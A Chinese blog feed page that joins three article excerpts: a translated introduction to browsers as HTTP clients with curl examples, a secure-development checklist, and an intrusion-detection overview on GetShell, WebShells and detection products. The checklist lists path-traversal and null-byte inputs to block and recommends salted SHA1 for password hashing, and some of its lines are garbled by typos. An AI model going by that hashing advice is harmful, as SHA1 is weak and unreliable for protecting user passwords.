如果确认了这些漏洞，则会发布补丁，通常会向公众发布安全建议通知，研究人员会从该计划中获得（通常是财务上的）奖励。像谷歌这样的公司在他们的Bug赏金项目中投入了相对较多的资金，这使得他们能够通过承诺在发现应用程序的任何问题时获得经济利益来吸引研究人员。在一个漏洞赏金计划中，每个人都是赢家:供应商设法提高其软件的安全性，研究人员也因此获得报酬。我们将在后面讨论这些程序，因为我相信Bug赏金计划应该在安全领域有自己的一节。Jake Archibald 是谷歌的一名开发人员，他最近发现了一个影响多个浏览器的漏洞。他在一篇有趣的博客文章中记录了他的努力，他如何接触不同的供应商，以及他们的反应，建议你阅读 这篇文章。开发人员的浏览器到目前为止，我们应该理解一个非常简单但相当重要的概念：浏览器只是为普通网络冲浪者构建的 HTTP 客户端。它们肯定比平台的纯HTTP客户端更强大(例如，考虑NodeJS的require(‘HTTP’))，但归根结底，它们“只是”更简单的 HTTP客户端的自然演化。作为开发人员，我们选择的HTTP客户机可能是 Daniel Stenberg 的 cURL，他是 web 开发人员每天使用的最流行的软件程序之一。它允许我们通过从命令行发送 HTTP 请求来实时执行 HTTP 交换:$ curl -I localhost:8080HTTP/1.1 200 OKserver: ecstatic-2.2.1Content-Type: text/htmletag: “23724049-4096-“2018-07-20T11:20:35.526Z"“last-modified: Fri, 20 Jul 2018 11:20:35 GMTcache-control: max-age=3600Date: Fri, 20 Jul 2018 11:21:02 GMTConnection: keep-alive在上面的示例中，我们在 localhost:8080/ 上请求了文档，本地服务器成功响应。在这里，我们没有将响应的主体显示在命令行，而是使用了 -I 标志，它告诉 cURL 我们只对响应头感兴趣。更进一步，我们可以指示 cURL 显示更多的信息，包括它执行的实际请求，以便更好地查看整个HTTP交换。需要使用的选项是-v(详细):$ curl -I -v localhost:8080 Rebuilt URL to: localhost:8080/ Trying 127.0.0.1…* Connected to localhost (127.0.0.1) port 8080 (#0)> HEAD / HTTP/1.1> Host: localhost:8080> User-Agent: curl/7.47.0> Accept: />< HTTP/1.1 200 OKHTTP/1.1 200 OK< server: ecstatic-2.2.1server: ecstatic-2.2.1< Content-Type: text/htmlContent-Type: text/html< etag: “23724049-4096-“2018-07-20T11:20:35.526Z"“etag: “23724049-4096-“2018-07-20T11:20:35.526Z”"< last-modified: Fri, 20 Jul 2018 11:20:35 GMTlast-modified: Fri, 20 Jul 2018 11:20:35 GMT< cache-control: max-age=3600cache-control: max-age=3600< Date: Fri, 20 Jul 2018 11:25:55 GMTDate: Fri, 20 Jul 2018 11:25:55 GMT< Connection: keep-aliveConnection: keep-alive<* Connection #0 to host localhost left intact主流浏览器通过它们的 DevTools 可以获得几乎相同的信息。正如我们所见，浏览器只不过是精心设计的HTTP客户端。 当然，他们添加了大量的功能（想到凭据管理，书签，历史等），但事实是，它们是作为人类的 HTTP 客户端而诞生的。 这很重要，因为在大多数情况下，不需要使用浏览器来测试Web应用程序的安全性，因为你可以简单的通过 curl 命令来查看响应信息。进入 HTTP 协议正如我们所提到的，HTTP交换和渲染阶段是我们主要要涉及的阶段，因为它们为恶意用户提供了最大数量的攻击媒介。在下一篇文章中，我们将深入研究HTTP协议，并尝试了解为了保护HTTP交换，我们应该采取哪些措施。原文：https://medium.freecodecamp.o…你的点赞是我持续分享好东西的动力，欢迎点赞！一个笨笨的码农，我的世界只能终身学习！更多内容请关注公众号《大迁世界》！ ...

一、背景团队最近频繁遭受网络攻击，引起了部门技术负责人的重视，笔者在团队中相对来说更懂安全，因此花了点时间编辑了一份安全开发自检清单，觉得应该也有不少读者有需要，所以将其分享出来。二、自检清单检查类型说明检查项输入验证概述任何来自客户端的数据,如URL和参数、HTTP头部、 Javascript戓其他嵌入代码提交的信息,都属于不可信数据。在应用外部边界或内部每个组件或功能边界,都将其当做潜在的恶意输入来校验 白名单不可信数据可以设定白名单校验的,应接受所有和白名单匹配的数据,并阻止其他数据 黑名单不可信数据中包含不良输入字符时,如空字节(%00)、换行符(%0d,%0a,r, n)、路径字符(../ 或 ..)等,建议直接阻止该数据,若需要接受该数据,则应做不同方式的净化处理 规范化不可信数据的净化和校验前翯进行规范化,如将目录遍历(./或)等相对路径转化成绝对路径URL解码等。 净化不可信数据需实施各种净化处理时,应彻底删除恶意字符,只留下已知安全的字符,或者在处理前对它们进行适当编码或"转义",如数据输出到应用页面时对其进行HTML编码可防止脚本攻击 合法性校验不可信数据的合法性校验包括:数据类型如字符.数字、日期等特征;数据范國;数据长度等 防范SQL注入不可信数据进入后端数据库操作前,建议使用正角的参数化查询来处理,避免出现SQL注入 文件校验不可信数据为解压缩的文件时,如果文件位于服务目录外或文件大小超过限制,应拒绝处理 访问控制不可信数据通过上述校验后,还应确认所提交的内容是否与用户的身份匹配,避免越权访问输出验证概述考虑目标编译器的安全性，对所有输出字符进行正确编码 编码场景不可信数据输出到前后端页面时,根据输出场景对其进行相关编码,如HTML实体编码、UR编码 净化场景针对操作系统命令、SQL和LDAP查询,净化所有输出的敏感信息,如银行卡、手机号、系统信息等身份验证概述所有对非公开的网页和资源的访问,必须在后端服务上执行标准的、通用的身份验证过程 提交凭证用户凭据必须经过加密且以POST方式提交,建议用HTPS协议来加密通道、认证服务端 错误提示安全地处理失败的身份校验,如使用"用户名或密码错误"来提示失败,防止泄露过多信息 异常处理登录入口应具有防止暴力或撞库猜解(利用已泄露的密码字典进行批量登录尝试)的措施,超过1次验证失败自动启用图灵测试,超过多次验证失败自动启用账户锁定机制限制其访问 二次验证在执行关键操作(如账户密码修改、资料更新、交易支付等)时,先启动图灵测试,再对用户身份进行二次验证。交易支付过程还应该形成完整的证据链,待交易数据应经过发起方数字签名 多因子验证高度敏感或核心的业务系统,建议使用多因子身份验证机制,如短信验证码、软硬件 Token等。短信验证验证码生成复杂度至少6位数字或字母,一次一用,建议有效期不超过180秒。 验证码限制前后端设置用户获取频率为60秒一次,建议每个用户每天获取的短信最多10条 安全提示增加安全提示:至少含本次操作的功能、验证码发送编号、是否是个人自己操作的风险等信息。 凭证校验禁止在响应中返回验证码,服务器端同时校验密码、短信验证码等凭证信息,防止出现多阶段认证绕过的漏洞。图灵测试验证码生成复杂度至少4位数字或字母,或者采用拼图等验证方式,一次一用,建议有效期不超过180秒 验证码使用建议从用户体验和安全角度出发,可设计为当用户输错1次密码后自动弹出验证码输入框验证 验证码校验禁止在响应中返回验证码,验证码校验应在服务端进行密码管理密码设置密码设置时,应该满足8位及以上长度,含大小写字母、数字及特殊字符等的要求。用户密码设置必须经过后端验,不允许设置不满定复杂度要求的感密码。 密码存储用户密码存储时,应采用哈希算法(如SHA1)计算用户密码和唯一随机盐值(Salt)的摘要值保存其摘要和Sat值,建议分开存储这两个值 密码修改用户修改密码时,修改操作需要通过手机号或者邮箱地均进行一次身份验证。密码变更时,应短信或者邮件通知如用户是否是本人操作,告知其安全风险 密码找回用户密码找回时,后端需要对注册手机号或邮箱进行二次验证,验证码和验证链接应发送至预先注册的地址,并设置有效期以防止暴力破解。密保问题,应当支持尽可能随机的问题提问。在多个验证操作中,要对各验证机制进行排序,以防出现跳过前面验证机制直接到最后步认证的安全风险 密码使用应用开发中禁止设置万能密码、硬编码明文的密 码、使用数据库管理员账户操作、不同用户公用账 户操作或者将密码输出到日志文件或者控制台.会话安全防止会话劫持在应用程序进行身份验证时,建议持续使用HTTPS连接,认证站点使用HTTPS协议。如果连接是从防止会话劫持HTTP跳转到HTTPS,需要重新生成会话标识符。禁止在HTTP和HTTPS之间来回转换,这可能会导致会话被劫持 会话标识符安全设置会话 Cookie时,正确设置" Httponly’属性(禁止程序加5脚本等读取 Cookie信息)" Secure’属性(禁Cookie安全设置止Cookie通过HTTP连接传递到服务器端进行验证);" Domain"属性(跨域访问时可指定的授权访问域名),“Path"属性(授权可访问的目录路径)。 Cookie安全设置会话标识符应放置在HTP或HTPS协议的头信息安全中,禁止以GET参数进行传递、在错误信息和日志中记录会话标识符 防止CSRF攻击服务器端执行了完整的会话管理机制,保证每个会防止CSRF话请求都执行了合法的身份验证和权限控制,防止攻击发生跨站点请求伪造(CSRF)漏洞。 会话有效期会话应在平衡风险和功能需求的基础上设置有效期。定期生成一个新的会话标识符并使上一个会话会话有效期标识符失效,这可以缓解那些因原会活标识符被盗而产生的会话劫持风险。 会话注销注销功能应用于所有受身份验证保护的网页,用户会话注销登出后应立即清理会话相关信息,终止相关的会话连接访问控制控制方法将访问控制的逻辑代码与应用程序其他代码分开服务端根据会话标识来进行访问控制管理。 控制管理限制只有授权的用户才能访问受保护的URL、文件、服务、应用数据、配置、直接对象引用等 接口管理限制只有授权的外部应用程序或接口才能访问受保护的本地程序或资源等 权限变更当权限发生变更时,应记录日志,并通知用户是否是本人操作,告知存在的安全风险SQL注入概述用户的输入进入应用程序的SQL操作前,对输入进行合法性校验。 参数化处理用参数化查询(PHP用PDO,Java用 PreparedStatement,C#用 Sqlparameter)方法对敏感字符如"进行转义,然后再进行SQL操作。 最小化授权为每个应用配置最小化数据库操作权限,禁止用管理员权限进行数据库操作,限制操作连接数。 敏感数据加密敏感信息都采用了加密、哈希或混淆等方式进行保密存储,降低可能漏洞带来的数据泄露风险. 禁止错误回显禁止系统开启 Debug模式或异常时返回包含敏感信息的提示,建议使用自定义的错误信息模板异常信息应存放在日志中用于安全审计XSS注入输入校验对输入的数据进行过滤和转义,包含但不限于&lt;&gt;“9%0&+V"等危险特殊字符 输出编码输入数据输出到不同场景中进行不同形式的编码,如输出到HTML标签中则进行HTML编码输出到URL中则进行URL编码,输出到JS中则行 Script编码,输出到 Stylet中则进行CSs编码XML注入输入校验在XML文档内部或外部引用数据时,过滤用户提交的参数,如&lt;、&gt;&等特殊字符。禁止加载外部实体,禁止报错 输出编码建议对XML元素属性或者内容进行输出转义敏感信息敏感信息传输敏感信息传输时,禁止在GET请求参数中包含敏感信息,如用户名、密码、卡号等。建议为所有敏感信息采用TSL加密传输。 客户端保存客户端保存敏感信息时,禁止其表单中的自动填充功能、以明文形式保存敏感信息 服务端保存服务端保存敏感信息时,禁止在程序中硬编码敏感信息,明文存储用户密码、身份证号、银行卡号、持卡人姓名等敏感信息,临时写入内存或文件中的敏感数据,应及时清除和释放 敏感信息维护敏感信息维护时,禁止将源码或SQL库上传到开源平台或社区,如 Github、开源中国等。 敏感信息展示敏感信息展示时,如果是展示在web页面上,应在后端服务器上进行敏感字段的脱敏处理。CSRF跨站请求伪造Token使用在重要操作的表单中增加会话生成的 Token字段次一用,提交后在服务端校验该字段 二次验证在关键表单提交时,要求用户进行二次身份验证如密码、图片验证码、短信验证码等 Referer验证检验用户请求中 Referer:字段是否存在跨域提交的情况文件上传安全身份校验进行文件上传时,在服务端对用户的身份进行合法性校验 合法性校验进行文件上传时,在服务端对文件属性进行合法性校验,白名单形式检查文档类型(如文件的后缓名、文件头信息校验等)和大小(图片校验长、宽和像素等)。 存储环境设置进行文件保存时,保存在与应用环境独立的文档服务器中(配置独立域名),保存的目录权限应设置为不可执行 隐藏文件路径进行文件保存时,成功上传的文件需要进行随机化重命名,禁止给客户端返回保存的路径信息。 文件访问设置进行文件下载时,应以二进制形式下载,建议不提供直接访问(防止木马文件直接执行)接口安全网络限制调用方网络限制,比如通过防火墙、主机host和Nginx deny等技术措施进行校验。 身份认证调用方身份认证,比如key、 secret、证书等技术措施进行校验,禁止共享凭证 完整性校验调用的数据安全,对全部参数使用SHA1等摘要运算进行数字签名,识别数据被篡改 合法性校验调用的参数检查,如参数是否完整,时间戳和Token是否有效,调用权限是否合法等 可用性要求调用的服务要求,调用满足等幂性即保持数据一致性,对调用频率和有效期进行限制 异常处理调用的异常处理,调用行为实时检测,发现异常及时阻拦I/O操作共享环境文件安全在多用户系统中创建文件时应指定合适的访问许可,以防止未授权的文件访问,共享目录中文件的读/写/可执行权限应该使用白名单机制,实现最小化授权。 数据访问检查防止封装好的数据对象被未授权使用,设置合理的据缓存区大小以防止耗尽系统资源, 应用文件处理应用程序运行过程中创建的文件,需设置问权限(读、写、可执行),临时文件使及时删除运行环境最小化开放端口关闭操作系统不需要的端口和服务 后台服务管理后台(如数据缓存和存储、监控、业务管理等)务限内部网络访问,开放在公网的必须设置身份验证和访问控制。 环境配置使用安全稳定的操作系统版本、Web股务器软件各种应用框架、数据库组件等 敏感代码处理将客户端敏感代码(如软件包签名、用户名密码校验等)都放在o等软件包中防止篡改。 关闭调试通道生产代码不包含任何调试代码或接口 通信安全配置网站的HTTPS证书或其它加密传输措施。异常处理容错机制在应用实现时应包含完整的功能异常捕获机制如try-catch块,典型位置:文件、网络、数据库、命令操作等。一旦出现异常,应该在日志中完整记录异常的发生时间、代码位置、报错详情、触发错误的可能用户等,重要系统的严重异常应该有报警的机制,及时通知系统运营者及时排查并修复题 自定义错误信息在生产环境下,应用程序不应在其响应中返回任何系统生成的消息或其他调试信息,配置应用服务器使其以自定义的方式处理无法处理的应用程序错误,返回自定义错误信息 隐藏用户信息禁止在系统异常时泄露用户的隐私信息,典型的有:身份信息、个人住址、电话号码、银行账号、通讯记录、定位信息等 隐藏系统信息禁止在系统异常时泄露系统的敏感信息(用户账户和密码、系统开发密钥、系统源代码、应用架构、系统账户和密码、网络拓扑等)。 异常状态恢复方法发生异常时要恢复到之前的对象状态,如业务操作失败时的回滚操作等,对象修改失败时要恢复对象原来的状态,维持对象状态的一致性日志规范记录原则确保日志记录包含了重要的应用事件,但禁止保存敏感信息,如会话标识,账户密码、证件等 事件类型记录所有的身份验证、访问操作、数据变更、关键操作、管理功能、登出记录等事件。 事件要求日志一般会记录每个事件的发生时间、发出请求的IP地址和用户账户(如果已通过验证)。 日志保护日志受到严格保护,避免未授权的读取或写入访问。三、图书推荐如果对笔者的文章较为感兴趣，可以关注笔者新书《PHP Web安全开发实战》，现已在各大平台上架销售，封面如下图所示作者：汤青松日期：2018-11-13微信：songboy8888 ...

前言如何知道自己所在的企业是否被入侵了？是没人来“黑”，还是因自身感知能力不足，暂时还无法发现？其实，入侵检测是每一个大型互联网企业都要面对的严峻挑战。价值越高的公司，面临入侵的威胁也越大，即便是Yahoo这样的互联网鼻祖，在落幕（被收购）时仍遭遇全量数据失窃的事情。安全无小事，一旦互联网公司被成功“入侵”，其后果将不堪想象。基于“攻防对抗”的考量，本文不会提及具体的入侵检测模型、算法和策略，那些希望直接照搬“入侵策略”的同学可能会感到失望。但是我们会将一部分运营思路分享出来，请各位同行指点，如能对后来者起到帮助的作用，那就更好了，也欢迎大家跟我们交流探讨。入侵的定义典型的入侵场景：黑客在很远的地方，通过网络远程控制目标的笔记本电脑/手机/服务器/网络设备，进而随意地读取目标的隐私数据，又或者使用目标系统上的功能，包括但不限于使用手机的麦克风监听目标，使用摄像头偷窥监控目标，使用目标设备的计算能力挖矿，使用目标设备的网络能力发动DDoS攻击等等。亦或是破解了一个服务的密码，进去查看敏感资料、控制门禁/红绿灯。以上这些都属于经典的入侵场景。我们可以给入侵下一个定义：就是黑客在未经授权的情况下，控制、使用我方资源（包括但不限于读写数据、执行命令、控制资源等）达到各种目的。从广义上讲，黑客利用SQL注入漏洞窃取数据，或者拿到了目标域名在ISP中的帐号密码，以篡改DNS指向一个黑页，又或者找到了目标的社交帐号，在微博/QQ/邮箱上，对虚拟资产进行非授权的控制，都属于入侵的范畴。针对企业的入侵检测企业入侵检测的范围，多数情况下比较狭义：一般特指黑客对PC、系统、服务器、网络（包括办公网、生产网）控制的行为。黑客对PC、服务器等主机资产的控制，最常见的方法是通过Shell去执行指令，获得Shell的这个动作叫做GetShell。比如通过Web服务的上传漏洞，拿到WebShell，或者利用RCE漏洞直接执行命令/代码（RCE环境变相的提供了一个Shell）。另外，通过某种方式先植入“木马后门”，后续直接利用木马集成的SHELL功能对目标远程控制，这个也比较典型。因此，入侵检测可以重点关注GetShell这个动作，以及GetShell成功之后的恶意行为（为了扩大战果，黑客多半会利用Shell进行探测、翻找窃取、横向移动攻击其它内部目标，这些区别于好人的特性也可以作为重要的特征）。有一些同行（包括商业产品），喜欢报告GetShell之前的一些“外部扫描、攻击探测和尝试行为”，并美其名曰“态势感知”，告诉企业有人正在“试图攻击”。在笔者看来，实战价值并不大。包括美团在内的很多企业，基本上无时无刻都在遭受“不明身份”的攻击，知道了有人在“尝试”攻击，如果并不能有效地去行动，无法有效地对行动进行告警，除了耗费心力之外，并没有太大的实际价值。当我们习惯“攻击”是常态之后，就会在这样的常态下去解决问题，可以使用什么加固策略，哪些可以实现常态化的运营，如果有什么策略无法常态化运营，比如需要很多人加班临时突击守着，那这个策略多半在不久之后就会逐渐消逝掉。跟我们做不做这个策略，并没有本质上的区别。类似于SQL注入、XSS等一些不直接GetShell的Web攻击，暂时不在狭义的“入侵检测”考虑范围，建议可以划入“漏洞”、“威胁感知”等领域，另行再做探讨。当然，利用SQL注入、XSS等入口，进行了GetShell操作的，我们仍抓GetShell这个关键点，不必在乎漏洞入口在何处。“入侵”和“内鬼”与入侵接近的一种场景是“内鬼”。入侵本身是手段，GetShell只是起点，黑客GetShell的目标是为了之后对资源的控制和数据的窃取。而“内鬼”天然拥有合法的权限，可以合法接触敏感资产，但是基于工作以外的目的，他们对这些资源进行非法的处置，包括拷贝副本、转移外泄、篡改数据牟利等。内鬼的行为不在“入侵检测”的范畴，一般从内部风险控制的视角进行管理和审计，比如职责分离、双人审计等。也有数据防泄密产品（DLP）对其进行辅助，这里不展开细说。有时候，黑客知道员工A有权限接触目标资产，便定向攻击A，再利用A的权限把数据窃取走，也定性为“入侵”。毕竟A不是主观恶意的“内鬼”。如果不能在黑客攻击A的那一刻捕获，或者无法区分黑客控制的A窃取数据和正常员工A的访问数据，那这个入侵检测也是失败的。入侵检测的本质前文已经讲过，入侵就是黑客可以不经过我们的同意，来操作我们的资产，在手段上并没有任何的限制。那么如何找出入侵行为和合法正常行为的区别，将其跟合法行为进行分开，就是“入侵发现”。在算法模型上，这算是一个标记问题（入侵、非入侵）。可惜的是，入侵这种动作的“黑”样本特别稀少，想通过大量的带标签的数据，有监督的训练入侵检测模型，找出入侵的规律比较难。因此，入侵检测策略开发人员，往往需要投入大量的时间，去提炼更精准的表达模型，或者花更多的精力去构造“类似入侵”的模拟数据。一个经典的例子是，为了检测出WebShell，安全从业人员可以去GitHub上搜索一些公开的WebShell样本，数量大约不到1000个。而对于机器学习动辄百万级的训练需求，这些数据远远不够。况且GitHub上的这些样本集，从技术手法上来看，有单一技术手法生成的大量类似样本，也有一些对抗的手法样本缺失。因此，这样的训练，试图让AI去通过“大量的样本”掌握WebShell的特征并区分出它们，原则上不太可能完美地去实现。此时，针对已知样本做技术分类，提炼更精准的表达模型，被称为传统的特征工程。而传统的特征工程往往被视为效率低下的重复劳动，但效果往往比较稳定，毕竟加一个技术特征就可以稳定发现一类WebShell。而构造大量的恶意样本，虽然有机器学习、AI等光环加持，但在实际环境中往往难以获得成功：自动生成的样本很难描述WebShell本来的含义，多半描述的是自动生成的算法特征。另一个方面，入侵的区别是看行为本身是否“授权”，而授权与否本身是没有任何显著的区分特征的。因此，做入侵对抗的时候，如果能够通过某种加固，将合法的访问收敛到有限的通道，并且给该通道做出强有力的区分，也就能大大的降低入侵检测的成本。例如，对访问来源进行严格的认证，无论是自然人，还是程序API，都要求持有合法票据，而派发票据时，针对不同情况做多纬度的认证和授权，再用IAM针对这些票据记录和监控它们可以访问的范围，还能产生更底层的Log做异常访问模型感知。这个全生命周期的风控模型，也是Google的BeyondCorp无边界网络得以实施的前提和基础。因此，入侵检测的主要思路也就有2种：根据黑特征进行模式匹配（例如WebShell关键字匹配）。根据业务历史行为（生成基线模型），对入侵行为做异常对比（非白既黑），如果业务的历史行为不够收敛，就用加固的手段对其进行收敛，再挑出不合规的小众异常行为。入侵检测与攻击向量根据目标不同，可能暴露给黑客的攻击面会不同，黑客可能采用的入侵手法也就完全不同。比如，入侵我们的PC/笔记本电脑，还有入侵部署在机房/云上的服务器，攻击和防御的方法都有挺大的区别。针对一个明确的“目标”，它被访问的渠道可能是有限集，被攻击的必经路径也有限。“攻击方法”+“目标的攻击面”的组合，被称为“攻击向量”。因此，谈入侵检测模型效果时，需要先明确攻击向量，针对不同的攻击路径，采集对应的日志（数据），才可能做对应的检测模型。比如，基于SSH登录后的Shell命令数据集，是不能用于检测WebShell的行为。而基于网络流量采集的数据，也不可能感知黑客是否在SSH后的Shell环境中执行了什么命令。基于此，如果有企业不提具体的场景，就说做好了APT感知模型，显然就是在“吹嘘”了。所以，入侵检测得先把各类攻击向量罗列出来，每一个细分场景分别采集数据（HIDS+NIDS+WAF+RASP+应用层日志+系统日志+PC……），再结合公司的实际数据特性，作出适应公司实际情况的对应检测模型。不同公司的技术栈、数据规模、暴露的攻击面，都会对模型产生重大的影响。比如很多安全工作者特别擅长PHP下的WebShell检测，但是到了一个Java系的公司……常见的入侵手法与应对如果对黑客的常见入侵手法理解不足，就很难有的放矢，有时候甚至会陷入“政治正确”的陷阱里。比如渗透测试团队说，我们做了A动作，你们竟然没有发现，所以你们不行。而实际情况是，该场景可能不是一个完备的入侵链条，就算不发现该动作，对入侵检测效果可能也没有什么影响。每一个攻击向量对公司造成的危害，发生的概率如何进行排序，解决它耗费的成本和带来的收益如何，都需要有专业经验来做支撑与决策。现在简单介绍一下，黑客入侵教程里的经典流程（完整过程可以参考杀伤链模型）：入侵一个目标之前，黑客对该目标可能还不够了解，所以第一件事往往是“踩点”，也就是搜集信息，加深了解。比如，黑客需要知道，目标有哪些资产（域名、IP、服务），它们各自的状态如何，是否存在已知的漏洞，管理他们的人有谁（以及如何合法的管理的），存在哪些已知的泄漏信息（比如社工库里的密码等）……一旦踩点完成，熟练的黑客就会针对各种资产的特性，酝酿和逐个验证“攻击向量”的可行性，下文列举了常见的攻击方式和防御建议。高危服务入侵所有的公共服务都是“高危服务”，因为该协议或者实现该协议的开源组件，可能存在已知的攻击方法（高级的攻击者甚至拥有对应的0day），只要你的价值足够高，黑客有足够的动力和资源去挖掘，那么当你把高危服务开启到互联网，面向所有人都打开的那一刻，就相当于为黑客打开了“大门”。比如SSH、RDP这些运维管理相关的服务，是设计给管理员用的，只要知道密码/秘钥，任何人都能登录到服务器端，进而完成入侵。而黑客可能通过猜解密码（结合社工库的信息泄露、网盘检索或者暴力破解），获得凭据。事实上这类攻击由于过于常见，黑客早就做成了全自动化的全互联网扫描的蠕虫类工具，云上购买的一个主机如果设置了一个弱口令，往往在几分钟内就会感染蠕虫病毒，就是因为这类自动化的攻击者实在是太多了。或许，你的密码设置得非常强壮，但是这并不是你可以把该服务继续暴露在互联网的理由，我们应该把这些端口限制好，只允许自己的IP（或者内部的堡垒主机）访问，彻底断掉黑客通过它入侵我们的可能。与此类似的，MySQL、Redis、FTP、SMTP、MSSQL、Rsync等等，凡是自己用来管理服务器或者数据库、文件的服务，都不应该针对互联网无限制的开放。否则，蠕虫化的攻击工具会在短短几分钟内攻破我们的服务，甚至直接加密我们的数据，甚至要求我们支付比特币，进行敲诈勒索。还有一些高危服务存在RCE漏洞（远程命令执行），只要端口开放，黑客就能利用现成的exploit，直接GetShell，完成入侵。防御建议： 针对每一个高危服务做入侵检测的成本较高，因为高危服务的具体所指非常的多，不一定存在通用的特征。所以，通过加固方式，收敛攻击入口性价比更高。禁止所有高危端口对互联网开放可能，这样能够减少90%以上的入侵概率。Web入侵随着高危端口的加固，黑客知识库里的攻击手法很多都会失效了。但是Web服务是现代互联网公司的主要服务形式，不可能都关掉。于是，基于PHP、Java、ASP、ASP.NET、Node、C写的CGI等等动态的Web服务漏洞，就变成了黑客入侵的最主要入口。比如，利用上传功能直接上传一个WebShell，利用文件包含功能，直接引用执行一个远程的WebShell（或者代码），然后利用代码执行的功能，直接当作Shell的入口执行任意命令，解析一些图片、视频的服务，上传一个恶意的样本，触发解析库的漏洞……Web服务下的应用安全是一个专门的领域（道哥还专门写了本《白帽子讲Web安全》），具体的攻防场景和对抗已经发展得非常成熟了。当然，由于它们都是由Web服务做为入口，所以入侵行为也会存在某种意义上的共性。相对而言，我们比较容易能够找到黑客GetShell和正常业务行为的一些区别。针对Web服务的入侵痕迹检测，可以考虑采集WAF日志、Access Log、Auditd记录的系统调用，或者Shell指令，以及网络层面Response相关的数据，提炼出被攻击成功的特征，建议我们将主要的精力放在这些方面。0day入侵通过泄漏的工具包来看，早些年NSA是拥有直接攻击Apache、Nginx这些服务的0day武器的。这意味着对手很可能完全不用在乎我们的代码和服务写成什么样，拿0day一打，神不知鬼不觉就GetShell了。但是对于入侵检测而言，这并不可怕：因为无论对手利用什么漏洞当入口，它所使用的Shellcode和之后的行为本身依然有共性。Apache存在0day漏洞被攻击，还是一个PHP页面存在低级的代码漏洞被利用，从入侵的行为上来看，说不定是完全一样的，入侵检测模型还可以通用。所以，把精力聚焦在有黑客GetShell入口和之后的行为上，可能比关注漏洞入口更有价值。当然，具体的漏洞利用还是要实际跟进，然后验证其行为是否符合预期。办公终端入侵绝大多数APT报告里，黑客是先对人（办公终端）下手，比如发个邮件，哄骗我们打开后，控制我们的PC，再进行长期的观察/翻阅，拿到我们的合法凭据后，再到内网漫游。所以这些报告，多数集中在描述黑客用的木马行为以及家族代码相似度上。而反APT的产品、解决方案，多数也是在办公终端的系统调用层面，用类似的方法，检验“免杀木马”的行为。因此，EDR类的产品+邮件安全网关+办公网出口的行为审计+APT产品的沙箱等，联合起来，可以采集到对应的数据，并作出相似的入侵检测感知模型。而最重要的一点，是黑客喜欢关注内部的重要基础设施，包括但不限于AD域控、邮件服务器、密码管理系统、权限管理系统等，一旦拿下，就相当于成为了内网的“上帝”，可以为所欲为。所以对公司来说，重要基础设施要有针对性的攻防加固讨论，微软针对AD的攻防甚至还发过专门的加固白皮书。入侵检测基本原则不能把每一条告警都彻底跟进的模型，等同于无效模型。入侵发生后，再辩解之前其实有告警，只是太多了没跟过来/没查彻底，这是“马后炮”，等同于不具备发现能力，所以对于日均告警成千上万的产品，安全运营人员往往表示很无奈。我们必须屏蔽一些重复发生的相似告警，以集中精力把每一个告警都闭环掉。这会产生白名单，也就是漏报，因此模型的漏报是不可避免的。由于任何模型都会存在漏报，所以我们必须在多个纬度上做多个模型，形成关联和纵深。假设WebShell静态文本分析被黑客变形绕过了，在RASP（运行时环境）的恶意调用还可以进行监控，这样可以选择接受单个模型的漏报，但在整体上仍然具备发现能力。既然每一个单一场景的模型都有误报漏报，我们做什么场景，不做什么场景，就需要考虑“性价比”。比如某些变形的WebShell可以写成跟业务代码非常相似，人的肉眼几乎无法识别，再追求一定要在文本分析上进行对抗，就是性价比很差的决策。如果通过RASP的检测方案，其性价比更高一些，也更具可行性一些。我们不太容易知道黑客所有的攻击手法，也不太可能针对每一种手法都建设策略（考虑到资源总是稀缺的）。所以针对重点业务，需要可以通过加固的方式（还需要常态化监控加固的有效性），让黑客能攻击的路径极度收敛，仅在关键环节进行对抗。起码能针对核心业务具备兜底的保护能力。基于上述几个原则，我们可以知道一个事实，或许我们永远不可能在单点上做到100%发现入侵，但是我们可以通过一些组合方式，让攻击者很难绕过所有的点。当老板或者蓝军挑战，某个单点的检测能力有缺失时，如果为了“政治正确”，在这个单点上进行无止境的投入，试图把单点做到100%能发现的能力，很多时候可能只是在试图制造一个“永动机”，纯粹浪费人力、资源，而不产生实际的收益。将节省下来的资源，高性价比的布置更多的纵深防御链条，效果显然会更好。入侵检测产品的主流形态入侵检测终究是要基于数据去建模，比如针对WebShell的检测，首先要识别Web目录，再对Web目录下的文件进行文本分析，这需要做一个采集器。基于Shell命令的入侵检测模型，需要获取所有Shell命令，这可能要Hook系统调用或者劫持Shell。基于网络IP信誉、流量payload进行检测，或者基于邮件网关对内容的检查，可能要植入网络边界中，对流量进行旁路采集。也有一些集大成者，基于多个Sensor，将各方日志进行采集后，汇总在一个SOC或者SIEM，再交由大数据平台进行综合分析。因此，业界的入侵检测相关的产品大致上就分成了以下的形态：主机Agent类：黑客攻击了主机后，在主机上进行的动作，可能会产生日志、进程、命令、网络等痕迹，那么在主机上部署一个采集器（也内含一部分检测规则），就叫做基于主机的入侵检测系统，简称HIDS。典型的产品：OSSEC、青藤云、安骑士、安全狗，Google最近也发布了一个Alpha版本的类似产品 Cloud Security Command Center。当然，一些APT厂商，往往也有在主机上的Sensor/Agent，比如FireEye等。网络检测类：由于多数攻击向量是会通过网络对目标投放一些payload，或者控制目标的协议本身具备强特征，因此在网络层面具备识别的优势。典型的产品：Snort到商业的各种NIDS/NIPS，对应到APT级别，则还有类似于FireEye的NX之类的产品。日志集中存储分析类：这一类产品允许主机、网络设备、应用都输出各自的日志，集中到一个统一的后台，在这个后台，对各类日志进行综合的分析，判断是否可以关联的把一个入侵行为的多个路径刻画出来。例如A主机的的Web访问日志里显示遭到了扫描和攻击尝试，继而主机层面多了一个陌生的进程和网络连接，最后A主机对内网其它主机进行了横向渗透尝试。典型的产品：LogRhythm、Splunk等SIEM类产品。APT沙箱：沙箱类产品更接近于一个云端版的高级杀毒软件，通过模拟执行观测行为，以对抗未知样本弱特征的特点。只不过它需要一个模拟运行的过程，性能开销较大，早期被认为是“性价比不高”的解决方案，但由于恶意文件在行为上的隐藏要难于特征上的对抗，因此现在也成为了APT产品的核心组件。通过网络流量、终端采集、服务器可疑样本提取、邮件附件提炼等拿到的未知样本，都可以提交到沙箱里跑一下行为，判断是否恶意。典型产品：FireEye、Palo Alto、Symantec、微步。终端入侵检测产品：移动端目前还没有实际的产品，也不太有必要。PC端首先必备的是杀毒软件，如果能够检测到恶意程序，一定程度上能够避免入侵。但是如果碰到免杀的高级0day和木马，杀毒软件可能会被绕过。借鉴服务器上HIDS的思路，也诞生了EDR的概念，主机除了有本地逻辑之外，更重要的是会采集更多的数据到后端，在后端进行综合分析和联动。也有人说下一代杀毒软件里都会带上EDR的能力，只不过目前销售还是分开在卖。典型产品：杀毒软件有Bit9、SEP、赛门铁克、卡巴斯基、McAfee 